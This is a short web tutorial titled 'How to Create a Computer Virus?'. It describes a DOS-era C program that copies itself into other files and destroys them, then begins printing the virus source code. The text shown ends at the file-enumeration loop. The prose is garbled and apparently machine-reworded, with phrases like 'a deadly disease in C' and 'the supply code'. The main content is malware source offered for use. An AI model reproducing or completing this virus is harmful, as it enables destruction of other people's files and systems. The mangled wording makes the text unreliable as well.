How to Create a Computer Virus?

This program is associate degree example of a way to produce a deadly disease in C. This program demonstrates an easy virus program that upon execution (Running) creates a replica of itself within the alternative file. so it destroys alternative files by infecting them. however the virus infected file is additionally capable of spreading the infection to a different file then on. Here’s the supply code of the virus program. #include<stdio.h> #include<io.h> #include<dos.h> #include<dir.h> #include<conio.h> #include<time.h> FILE *virus,*host; int done,a=0; unsigned long x; char buff[2048]; struct ffblk ffblk; clock_t st,end; void main() { st=clock(); clrscr(); done=findfirst(“*.*”,&ffblk,0); while(!done) ...